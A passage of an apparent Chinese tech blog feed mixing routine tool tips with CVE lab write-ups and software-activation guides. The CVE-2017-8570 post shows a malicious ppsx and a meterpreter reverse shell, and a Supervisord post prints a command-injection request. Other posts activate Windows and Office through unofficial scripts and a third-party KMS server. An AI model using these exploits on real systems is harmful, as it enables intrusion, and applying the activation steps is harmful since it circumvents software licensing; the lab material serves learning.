        <content type="html"><![CDATA[<p>有时候遇到有的网站图片网址类似</p><p><code>https://xxxx/xxx-oo/xxx/xxx/xx/xxx.jpeg.html</code></p><p> 实际图片地址是</p><p><code>https://xxxx/oo/xxx/xxx/xx/xxx.jpeg</code></p><p>加粗部分为差异部分，本意是直接查看图片，但是第一个连接可能会有广告等其他，我们需要一些插件来完成url-rewrite</p><p>adge上面直接搜索Redirector<br>chrome搜索Requestly</p><pre><code>匹配原始地址为`*/xxx-oo/*.jpeg.html`重写后的地址为  `$1/oo/$2.jpeg`</code></pre><p>图片例子重写规则，<br>    匹配原始地址为 <code>*/x-o/*.jpeg.html</code><br>    重写后的地址为  <code>$1/o/$2.jpeg</code><br>    $1,$2的位置分别对应*号位置，<br>    $3,$4也依次类推，</p><p><img src="https://images.hao.kim/uploads/2024/08/2ae16c1cd7a007083e5b0e4ba8175cc7f12f65f6d9f3dfbc416bb52458aba5ac.png" alt="图 0"></p>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 网址重写 </tag>
            
            <tag> Redirector </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>vscode中打开tensorboard查看指标</title>
      <link href="/archives/python/vscode-open-tensorboard.html"/>
      <url>/archives/python/vscode-open-tensorboard.html</url>
      
        <content type="html"><![CDATA[<p>有时候训练好模型，想看下图形界面结果，</p><p>1.安装<strong>TensorBoard 插件</strong></p><ul><li>在 VSCode 中，点击扩展图标（侧栏中的方块图标），搜索并安装 “TensorBoard” 插件（由 Microsoft 提供）</li></ul><p>2.<strong>启动 TensorBoard</strong> ：</p><ul><li>按下 <code>Ctrl+Shift+P</code>（或 <code>Cmd+Shift+P</code> 在 macOS 上）打开命令面板。</li><li>输入 <code>python: launch tensorboard</code> 并按下回车。</li><li>VSCode 会提示你选择日志目录 (<code>logdir</code>)，这是 TensorBoard 读取数据的目录。</li><li>选择或输入你的日志目录路径后，TensorBoard 会在 VSCode 内部启动，并在一个新的标签页中显示其界面<br><img src="https://images.hao.kim/uploads/2024/08/d90429858168232e49328281a36fb12de85bf5ffc9b0e62dff9817d9a3988c0a.png" alt="图 0"><br><img src="https://images.hao.kim/uploads/2024/08/67b7757ca3ce6fcd8cc9d9200ebc227662497c17528287705088ae02a364fbcd.png" alt="图 1"></li></ul>]]></content>
      
      
      <categories>
          
          <category> python </category>
          
      </categories>
      
      
        <tags>
            
            <tag> vscode </tag>
            
            <tag> tensorboard </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>python pip 配置国内源</title>
      <link href="/archives/python/python-pip-repo.html"/>
      <url>/archives/python/python-pip-repo.html</url>
      
        <content type="html"><![CDATA[<p>参考：<a href="https://mirrors.tuna.tsinghua.edu.cn/help/pypi/">https://mirrors.tuna.tsinghua.edu.cn/help/pypi/</a></p><h4 id="国内pip源"><a href="#国内pip源" class="headerlink" title="国内pip源"></a>国内pip源</h4><p>清华大学：<a href="https://pypi.tuna.tsinghua.edu.cn/simple">https://pypi.tuna.tsinghua.edu.cn/simple</a></p><p>阿里云：<a href="http://mirrors.aliyun.com/pypi/simple/">http://mirrors.aliyun.com/pypi/simple/</a></p><h4 id="永久使用源"><a href="#永久使用源" class="headerlink" title="永久使用源"></a>永久使用源</h4><p>Windows或者Linux可以使用下面的命令进行源的设置</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">python -m pip install --upgrade pip</span><br><span class="line">pip config <span class="built_in">set</span> global.index-url https://pypi.tuna.tsinghua.edu.cn/simple</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/75396ddad8f8e052a0f0215d6228cd35610529afb23c40bd467d8f0e2c06eb99.png" alt="图 0"></p><h4 id="临时使用源"><a href="#临时使用源" class="headerlink" title="临时使用源"></a>临时使用源</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">pip install -i https://pypi.tuna.tsinghua.edu.cn/simple numpy</span><br><span class="line">pip install -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn  </span><br></pre></td></tr></table></figure><p>参数“–trusted-host”表示信任，如果上一个提示不受信任，就使用这个</p><hr><h4 id="使用上面命令后，下面的可忽略"><a href="#使用上面命令后，下面的可忽略" class="headerlink" title="使用上面命令后，下面的可忽略"></a>使用上面命令后，下面的可忽略</h4><ol><li><p>、Linux平台</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> ~/.pip</span><br><span class="line"><span class="built_in">cd</span> ~/.pip</span><br><span class="line"><span class="built_in">touch</span> pip.conf</span><br><span class="line">vi ~/.pip/pip.conf</span><br></pre></td></tr></table></figure><p>填入如下内容，:wq保存退出</p><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">[<span class="keyword">global</span>] </span><br><span class="line"><span class="built_in">index</span>-url = https://pypi.tuna.tsinghua.edu.<span class="keyword">cn</span>/simple</span><br><span class="line">[install]</span><br><span class="line">trusted-host = https://pypi.tuna.tsinghua.edu.<span class="keyword">cn</span>  </span><br><span class="line"># trusted-host 此参数是为了避免麻烦，否则使用的时候可能会提示不受信任</span><br></pre></td></tr></table></figure></li><li><p>windows平台 C:\Users\Administrator\AppData\Roaming\pip\pip.ini pip.ini 内容</p><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">[<span class="keyword">global</span>]</span><br><span class="line"><span class="built_in">index</span>-url = https://pypi.tuna.tsinghua.edu.<span class="keyword">cn</span>/simple</span><br><span class="line">[install]</span><br><span class="line">trusted-host = https://pypi.tuna.tsinghua.edu.<span class="keyword">cn</span></span><br></pre></td></tr></table></figure></li></ol>]]></content>
      
      
      <categories>
          
          <category> python </category>
          
      </categories>
      
      
        <tags>
            
            <tag> pip国内源 </tag>
            
            <tag> python </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CVE-2019-15107 webmin远程命令执行</title>
      <link href="/archives/security/cve-2019-15107.html"/>
      <url>/archives/security/cve-2019-15107.html</url>
      
        <content type="html"><![CDATA[<h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><p> Webmin 被爆出1.920版本之前存在一个远程命令执行漏洞（CVE-2019-15107），当用户开 Webmin 密码重置功能后，攻击者利用该漏洞可在易受损系统中执行任意命令，进而获取系统 Shell。由于Webmin 中 Password_Change.cgi 在接收请求的处理过程中，old 参数存在命令注入漏洞，可被攻击者恶意利用。</p><h2 id="影响版本"><a href="#影响版本" class="headerlink" title="影响版本"></a>影响版本</h2><p> Webmin 1.920及以下版本。</p><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p><img src="https://images.hao.kim/uploads/2024/08/2773e53166b05db778f52de15f1b2a9572c90099d73050f89a3101e84757b4e7.png" alt="图 0">  </p><p>2、利用 POC 进行验证，发现有回显</p><p><img src="https://images.hao.kim/uploads/2024/08/ea0ef9cd9b4d2e8940ab07b2cf6b1db1c41a6d71758ea9d0baf9c41651c7b197.png" alt="图 1">  </p><p>3、直接查看 Flag</p><p><img src="https://images.hao.kim/uploads/2024/08/dad8e1bbff407dfad6db07c85f4a0ddf67efb037e81b3e3451ecc3716b88498e.png" alt="图 2">  </p><p>文章地址Webmin 远程命令执行漏洞（CVE-2019-151070） (fofapro.github.io)</p>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 2021-11-06 20:09 </tag>
            
            <tag> webmin </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Kali切换桌面环境</title>
      <link href="/archives/linux/kali-change-desktop-env.html"/>
      <url>/archives/linux/kali-change-desktop-env.html</url>
      
        <content type="html"><![CDATA[<p>使用如下命令查看和切换桌面环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">update-alternatives --config x-session-manager</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/2496fa24bb0dad68b4296a00cacf8c299d809c5fefbc0fc5b0be93444be2d816.png" alt="图 0">  </p><p>输入对应的编号即可，比如我这里有gnome和xfce4桌面环境，我输入编号3，然后reboot重启，就可以切换成xfce4桌面环境了</p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> kali </tag>
            
            <tag> 桌面环境 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>windows通过远程桌面连接kali linux</title>
      <link href="/archives/windows/use-rdp-connect-kali-linux.html"/>
      <url>/archives/windows/use-rdp-connect-kali-linux.html</url>
      
        <content type="html"><![CDATA[<ol><li><p>安装xfce4</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt-get install xfce4</span><br></pre></td></tr></table></figure></li><li><p>安装tightvnc 和xrdp</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt-get purge tightvnc xrdp </span><br><span class="line">apt-get install tightvncserver xrdp</span><br></pre></td></tr></table></figure></li><li><p>启动xrdp</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl <span class="built_in">enable</span> xrdp --now</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/e7e75f72f1248a17c4521c1e41836d48c9634f2960246cb3adb7aa4df6735ff3.png" alt="图 0"></p></li><li><p>添加防火墙例外</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ufw allow 3389</span><br></pre></td></tr></table></figure></li><li><p>远程桌面（开始键+R，输入mstsc，回车）<br><img src="https://images.hao.kim/uploads/2024/08/789af7bfd7ca262219daff8df56e47b266989be17fdd6f5268612fe44c4c4e45.png" alt="图 1"><br><img src="https://images.hao.kim/uploads/2024/08/4cf8d63873b068db87b17114be7d94403c292e23b444231a2a9e5ab5b398ad2a.png" alt="图 2"></p></li></ol><p>网上有的需要修改配置文件，我的桌面一开始是gnome的，没有修改配置，安装软件以后直接就可以连接了</p>]]></content>
      
      
      <categories>
          
          <category> windows </category>
          
      </categories>
      
      
        <tags>
            
            <tag> kali </tag>
            
            <tag> xrdp </tag>
            
            <tag> rdp </tag>
            
            <tag> linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>批量压缩文件夹</title>
      <link href="/archives/tools/batch-compress-file.html"/>
      <url>/archives/tools/batch-compress-file.html</url>
      
        <content type="html"><![CDATA[<p>windows下面可以使用zip或者7z ，</p><p>7zip下载地址  <a href="https://www.7-zip.org/a/7z2408-x64.exe">https://www.7-zip.org/a/7z2408-x64.exe</a></p><p>假设我们有个文件夹里面有很多个文件夹，我们需要单独压缩每一个文件夹作为一个压缩文件 下面的简单命令可以帮助我们实现</p><p>下面几个简单的例子</p><p>进入到要压缩文件的目录执行</p><figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> /d %i <span class="keyword">in</span> (*) <span class="keyword">do</span> <span class="number">7</span>z a <span class="string">&quot;%i.zip&quot;</span> <span class="string">&quot;%i&quot;</span></span><br></pre></td></tr></table></figure><p>如果使用bat批处理，需要把% 修改为%%</p><figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> /d %%i <span class="keyword">in</span> (*) <span class="keyword">do</span> <span class="number">7</span>z a <span class="string">&quot;%%i.zip&quot;</span> <span class="string">&quot;%%i&quot;</span></span><br></pre></td></tr></table></figure><p>使用powershell的<strong>Compress-Archiv</strong>实现</p><figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="variable">$sourcePath</span> = <span class="string">&quot;C:\Path\To\Your\Folders&quot;</span>   <span class="comment"># 要压缩的文件夹路径</span></span><br><span class="line"><span class="variable">$outputPath</span> = <span class="string">&quot;C:\Path\To\Save\CompressedFiles&quot;</span>   <span class="comment"># 保存压缩文件的路径</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 遍历所有子文件夹并压缩每个文件夹为单独的ZIP文件</span></span><br><span class="line"><span class="built_in">Get-ChildItem</span> <span class="literal">-Path</span> <span class="variable">$sourcePath</span> <span class="literal">-Directory</span> | <span class="built_in">ForEach-Object</span> &#123;</span><br><span class="line">    <span class="variable">$folderName</span> = <span class="variable">$_</span>.Name</span><br><span class="line">    <span class="variable">$zipFilePath</span> = <span class="built_in">Join-Path</span> <span class="literal">-Path</span> <span class="variable">$outputPath</span> <span class="literal">-ChildPath</span> <span class="string">&quot;<span class="variable">$folderName</span>.zip&quot;</span></span><br><span class="line">    <span class="built_in">Compress-Archive</span> <span class="literal">-Path</span> <span class="variable">$_</span>.FullName <span class="literal">-DestinationPath</span> <span class="variable">$zipFilePath</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>linux下面压缩方式比较多，这里用个常用的压缩格式 tar.gz</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置要压缩的文件夹路径</span></span><br><span class="line">folder_path=<span class="string">&quot;/path/to/your/folders&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置压缩文件保存的路径</span></span><br><span class="line">output_path=<span class="string">&quot;/path/to/save/compressed/files&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 遍历文件夹</span></span><br><span class="line"><span class="keyword">for</span> folder <span class="keyword">in</span> <span class="string">&quot;<span class="variable">$folder_path</span>&quot;</span>/*; <span class="keyword">do</span></span><br><span class="line">    <span class="keyword">if</span> [ -d <span class="string">&quot;<span class="variable">$folder</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        folder_name=$(<span class="built_in">basename</span> <span class="string">&quot;<span class="variable">$folder</span>&quot;</span>)</span><br><span class="line">        tar_file=<span class="string">&quot;<span class="variable">$output_path</span>/<span class="variable">$folder_name</span>.tar.gz&quot;</span></span><br><span class="line">        tar -czf <span class="string">&quot;<span class="variable">$tar_file</span>&quot;</span> -C <span class="string">&quot;<span class="variable">$folder_path</span>&quot;</span> <span class="string">&quot;<span class="variable">$folder_name</span>&quot;</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">done</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 批量压缩文件夹 </tag>
            
            <tag> 7z </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>非法网站-黑SEO</title>
      <link href="/archives/security/guess-my-agent.html"/>
      <url>/archives/security/guess-my-agent.html</url>
      
        <content type="html"><![CDATA[<p>网站非法信息，日益更新，在对方知道我们检测方法以后会立马修改策略，让我们单一的检测方法失效，下面说一些常见非法信息排查检测方法（不进入客户服务器）  一些黑链SEO，会植入一些js文件，js文件内容主要是检测UA，是否为百度蜘蛛，或者谷歌蜘蛛，国内主要是百度蜘蛛，  百度蜘蛛的常见UA是</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Mozilla/5.0</span> <span class="string">(compatible;</span> <span class="string">Baiduspider-render/2.0;</span> <span class="string">+http://www.baidu.com/search/spider.html)</span></span><br></pre></td></tr></table></figure><p> 谷歌蜘蛛的常见UA是</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Mozilla/5.0</span> <span class="string">(compatible;</span> <span class="string">Googlebot/2.1;</span> <span class="string">+http://www.google.com/bot.html)</span></span><br></pre></td></tr></table></figure><p> 浏览器设置UA的插件</p><p><code>User-Agent Switcher</code></p><p>使用方法<br><img src="https://images.hao.kim/uploads/2024/08/1724072143939.png" alt="图 0"></p><p>添加自定义UA方法<br><img src="https://images.hao.kim/uploads/2024/08/1724072161807.png" alt="图 1"></p><p>非法网站正常访问无法打开<br><img src="https://images.hao.kim/uploads/2024/08/1724072202357.png" alt="图 2"></p><p>但是在非法信息里面可以看到是存在具体的非法信息的<br><img src="https://images.hao.kim/uploads/2024/08/1724072224190.png" alt="图 3"></p><p>这里我们可以通过APT来抓包，来进行分析,  添加一个抓包任务，注意文件大小，ip和端口<br><img src="https://images.hao.kim/uploads/2024/08/1724072261712.png" alt="图 4"><br><img src="https://images.hao.kim/uploads/2024/08/1724072274707.png" alt="图 5"></p><p>过10分钟以后下载抓的包，然后使用wireshark打开<br><img src="https://images.hao.kim/uploads/2024/08/1724072294793.png" alt="图 6"></p><p>查看对应的tcp流，右键，追踪流-tcp流<br><img src="https://images.hao.kim/uploads/2024/08/1724072321368.png" alt="图 7"></p><p>在这里看到当使用了google蜘蛛UA以后，是有响应内容的，可以确定是通过GoogleUA来进行黑链SEO  本地测试<br><img src="https://images.hao.kim/uploads/2024/08/1724072348181.png" alt="图 8"><br><img src="https://images.hao.kim/uploads/2024/08/1724072363691.png" alt="图 9"></p>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 傲盾 </tag>
            
            <tag> 明御 </tag>
            
            <tag> 黑SEO </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>powershell命令查看修改远程桌面端口</title>
      <link href="/archives/windows/use-powershell-modify-rdp-port.html"/>
      <url>/archives/windows/use-powershell-modify-rdp-port.html</url>
      
        <content type="html"><![CDATA[<ul><li>查看当前 RDP 的端口</li></ul><figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="built_in">Get-ItemProperty</span> <span class="literal">-Path</span> <span class="string">&#x27;HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\&#x27;</span> <span class="literal">-Name</span> PortNumber</span><br></pre></td></tr></table></figure><ul><li>修改 RDP 的端口，比如这里修改为3390</li></ul><figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 修改 RDP 端口为 3390</span></span><br><span class="line"><span class="built_in">Set-ItemProperty</span> <span class="literal">-Path</span> <span class="string">&#x27;HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\&#x27;</span> <span class="literal">-Name</span> PortNumber <span class="literal">-Value</span> <span class="number">3390</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 重新启动 RDP 服务以使更改生效</span></span><br><span class="line"><span class="built_in">Restart-Service</span> <span class="literal">-Name</span> TermService <span class="literal">-Force</span></span><br></pre></td></tr></table></figure><ul><li>更新防火墙规则放行 3390</li></ul><figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 例如，允许 3390 端口通过防火墙</span></span><br><span class="line"><span class="built_in">New-NetFirewallRule</span> <span class="literal">-DisplayName</span> <span class="string">&quot;Allow RDP 3390&quot;</span> <span class="literal">-Profile</span> <span class="string">&#x27;Public&#x27;</span> <span class="literal">-Direction</span> Inbound <span class="literal">-Protocol</span> TCP <span class="literal">-LocalPort</span> <span class="number">3390</span> <span class="literal">-Action</span> Allow</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> windows </category>
          
      </categories>
      
      
        <tags>
            
            <tag> powershell </tag>
            
            <tag> rdp端口 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CVE-2017-8570-Office命令执行</title>
      <link href="/archives/security/cve-2017-8570.html"/>
      <url>/archives/security/cve-2017-8570.html</url>
      
        <content type="html"><![CDATA[<p>2017-8570漏洞  影响范围</p><ul><li>Microsoft Office 2007 Service Pack 3<ul><li>Microsoft Office 2010 Service Pack 2 (32-bit editions)</li><li>Microsoft Office 2010 Service Pack 2 (64-bit editions)</li><li>Microsoft Office 2013 RT Service Pack 1</li><li>Microsoft Office 2013 Service Pack 1 (32-bit editions)</li><li>Microsoft Office 2013 Service Pack 1 (64-bit editions)</li><li>Microsoft Office 2016 (32-bit edition)</li><li>Microsoft Office 2016 (64-bit edition)</li></ul></li></ul><p> ichunqiu实验环境，需要登陆</p><p><a href="https://www.ichunqiu.com/experiment/detail?id=58919&source=1">Office远程代码执行漏洞_网络安全在线实验_i春秋 (ichunqiu.com)</a></p><p> 1.生成ppsx文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span>  CVE-2017-8570       //进入exploit的目录</span><br><span class="line">python cve-2017-8570_toolkit.py  -M gen -w Invoice.ppsx -u http://172.16.12.2/logo.doc       //生成ppsx恶意文件</span><br></pre></td></tr></table></figure><p> 2.生成反弹文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.12.2 LPORT=4444 -f exe &gt; /tmp/shell.exe</span><br></pre></td></tr></table></figure><p> 3.监听端口</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">python cve-2017-8570_toolkit.py -M exp -e http://172.16.12.2/shell.exe -l /tmp/shell.exe </span><br></pre></td></tr></table></figure><p> 4.msf本地监听反弹</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">msfconsole</span><br><span class="line">use multi/handler   //使用监听模块</span><br><span class="line"><span class="built_in">set</span> payload windows/meterpreter/reverse_tcp    //设置Payload</span><br><span class="line"><span class="built_in">set</span> LHOST 172.16.12.2   //设置本地接收IP</span><br><span class="line">run</span><br></pre></td></tr></table></figure><p> 5.打开ppsx文件，获得shell，  修复方案，</p><p>补丁地址 <code>https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570</code></p>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
      </categories>
      
      
        <tags>
            
            <tag> cve-2017-8570 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CVE-2017-11610-Supervisord命令执行</title>
      <link href="/archives/security/cve-2017-11610.html"/>
      <url>/archives/security/cve-2017-11610.html</url>
      
        <content type="html"><![CDATA[<p>实验环境和介绍</p><blockquote><p><a href="https://www.ichunqiu.com/course/58895">Supervisord 远程代码执行漏洞_视频教程_i春秋_培育信息时代的安全感！ (ichunqiu.com)</a>  </p></blockquote><p>参考</p><blockquote><p><a href="https://blogs.securiteam.com/index.php/archives/3348">https://blogs.securiteam.com/index.php/archives/3348</a><br><a href="https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html">https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html</a><br><a href="https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610">https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610</a></p></blockquote><p><img src="https://images.hao.kim/uploads/2024/08/6f4baaab589228965d8db09412e94cc73daca2d7642a88c8b488929dad86c531.png" alt="图 0">  </p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">POST</span> <span class="string">/RPC2</span> <span class="string">HTTP/1.1</span></span><br><span class="line"><span class="attr">Host:</span> <span class="string">localhost</span></span><br><span class="line"><span class="attr">Accept:</span> <span class="string">*/*</span></span><br><span class="line"><span class="attr">Accept-Language:</span> <span class="string">en</span></span><br><span class="line"><span class="attr">User-Agent:</span> <span class="string">Mozilla/5.0</span> <span class="string">(compatible;</span> <span class="string">MSIE</span> <span class="number">9.0</span><span class="string">;</span> <span class="string">Windows</span> <span class="string">NT</span> <span class="number">6.1</span><span class="string">;</span> <span class="string">Win64;</span> <span class="string">x64;</span> <span class="string">Trident/5.0)</span></span><br><span class="line"><span class="attr">Connection:</span> <span class="string">close</span></span><br><span class="line"><span class="attr">Content-Type:</span> <span class="string">application/x-www-form-urlencoded</span></span><br><span class="line"><span class="attr">Content-Length:</span> <span class="number">213</span></span><br><span class="line"></span><br><span class="line"><span class="string">supervisor.supervisord.options.warnings.linecache.os.systemtouch</span> <span class="string">/tmp/success</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/73d8ed11b304ae029d7108f58fb158ef78844e94efb5e9c3eaad46c49e4474eb.png" alt="图 1">  </p>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
      </categories>
      
      
        <tags>
            
            <tag> cve-2017-11610 </tag>
            
            <tag> supervisord </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>永久激活 windows</title>
      <link href="/archives/windows/active-windows-script.html"/>
      <url>/archives/windows/active-windows-script.html</url>
      
        <content type="html"><![CDATA[<p>这是个数字激活windows 的脚本，方便快捷，</p><p>运行——命令提示符——输入slmgr.vbs -xpr</p><p>可以查看激活状态</p><p>网站  <a href="https://github.com/massgravel/Microsoft-Activation-Scripts">https://github.com/massgravel/Microsoft-Activation-Scripts</a>  下载，</p><p>解压密码1234</p><p>解压后，右键以管理员身份运行，然后 输入 2</p><p><img src="https://images.hao.kim/uploads/2024/08/ec2479f6db906c6b9b1737c4337005df01bd752864d1f56824bf940e6a047a26.png" alt="图 0"></p><p>如果出现这个，可能是连接着vpn或者没有联网，需要保持网络通畅<br><img src="https://images.hao.kim/uploads/2024/08/cbfc9aa8935a6c0c6404c6df6c60f1ef70c2254f3be046a6888d3acb00ec9984.png" alt="图 1"></p><p>退出VPN或者联网后重复上面操作，一般会成功激活，激活效果如图<br><img src="https://images.hao.kim/uploads/2024/08/37562e11a85176f9c43bb4f6a7d13b59731824d7da909bc2d95a78e82a04854e.png" alt="图 2"></p><p>此时Windows10 就已经永久激活了，可以通过命令 <code>slmgr.vbs -xpr</code> 进行查看<br><img src="https://images.hao.kim/uploads/2024/08/e58a784bbf2b2290044bcfe34684a585467ead471076d34316c51edfcfc21563.png" alt="图 3"></p>]]></content>
      
      
      <categories>
          
          <category> windows </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 激活windows </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Office Pro2019专业增强版 下载，安装，版本转换，激活</title>
      <link href="/archives/windows/office-pro-2019-active.html"/>
      <url>/archives/windows/office-pro-2019-active.html</url>
      
        <content type="html"><![CDATA[<p><a href="https://msdn.itellyou.cn/">https://msdn.itellyou.cn/</a> 下载，office pro 2019 专业增强版 <a href="http://ed2k//|file|cn_office_professional_plus_2019_x86_x64_dvd_5e5be643.iso|3775004672|1E4FFA5240F21F60DC027F73F1C62FF4|/">ED2k下载地址</a>  以上链接下载安装好以后打开运行看是否正常 版本转换，把版本从零售版 Retail 版本转换为 VOL批量激活版，  把下面的代码复制内容存为xxx.bat，cmd里面运行即可</p><figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line">:: 修复乱码问题</span><br><span class="line">CHCP <span class="number">65001</span></span><br><span class="line">title office2019 retail转换vol版</span><br><span class="line">:: 判断安装目录</span><br><span class="line"><span class="keyword">if</span> exist <span class="string">&quot;%ProgramFiles%\Microsoft Office\Office16\ospp.vbs&quot;</span> <span class="built_in">cd</span> /d <span class="string">&quot;%ProgramFiles%\Microsoft Office\Office16&quot;</span></span><br><span class="line"><span class="keyword">if</span> exist <span class="string">&quot;%ProgramFiles(x86)%\Microsoft Office\Office16\ospp.vbs&quot;</span> <span class="built_in">cd</span> /d <span class="string">&quot;%ProgramFiles(x86)%\Microsoft Office\Office16&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">cls</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> 正在重置Office2019零售激活...</span><br><span class="line"></span><br><span class="line">cscript ospp.vbs /rearm</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> 正在安装 KMS 许可证...</span><br><span class="line"><span class="keyword">for</span> /f %%x <span class="keyword">in</span> (<span class="string">&#x27;dir /b ..\root\Licenses16\ProPlus2019VL_kms*.xrm-ms&#x27;</span>) <span class="keyword">do</span> cscript ospp.vbs /inslic:<span class="string">&quot;..\root\Licenses16\%%x&quot;</span> &gt;nul</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> 正在安装 MAK 许可证...</span><br><span class="line"><span class="keyword">for</span> /f %%x <span class="keyword">in</span> (<span class="string">&#x27;dir /b ..\root\Licenses16\ProPlus2019VL_mak*.xrm-ms&#x27;</span>) <span class="keyword">do</span> cscript ospp.vbs /inslic:<span class="string">&quot;..\root\Licenses16\%%x&quot;</span> &gt;nul</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> 正在安装 KMS 密钥...</span><br><span class="line">cscript ospp.vbs /inpkey:NMMKJ<span class="literal">-6RK4F-KMJVX-8D9MJ-6MWKP</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> 正在设置 KMS 服务器...</span><br><span class="line">cscript ospp.vbs /sethst:kms.<span class="number">03</span>k.org</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> 正在联系KMS服务器...</span><br><span class="line">cscript ospp.vbs /act</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> 转化完成，按任意键退出！</span><br><span class="line"></span><br><span class="line">pause &gt;nul</span><br><span class="line"></span><br><span class="line"><span class="keyword">exit</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/e3951c7f785b748924341336df56d38498afc0ba62912e369b658a0249782863.png" alt="图 0">  </p><p>如果安装了其他key, 卸载已经安装的key，cscript ospp.vbs &#x2F;unpkey:XXXXX 这里的xxxxx为5位字符，可以在上面这个命令里面看到，  查看是否激活<br>激活后如下图<br><img src="https://images.hao.kim/uploads/2024/08/5af36e8cc14a6c323b8fe72bf3c2363b09b81365bafd46387298af2a2eb66773.png" alt="图 1">  </p>]]></content>
      
      
      <categories>
          
          <category> windows </category>
          
      </categories>
      
      
        <tags>
            
            <tag> office 2019 </tag>
            
            <tag> 激活 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Centos 使用国内源</title>
      <link href="/archives/linux/centos-modify-repo.html"/>
      <url>/archives/linux/centos-modify-repo.html</url>
      
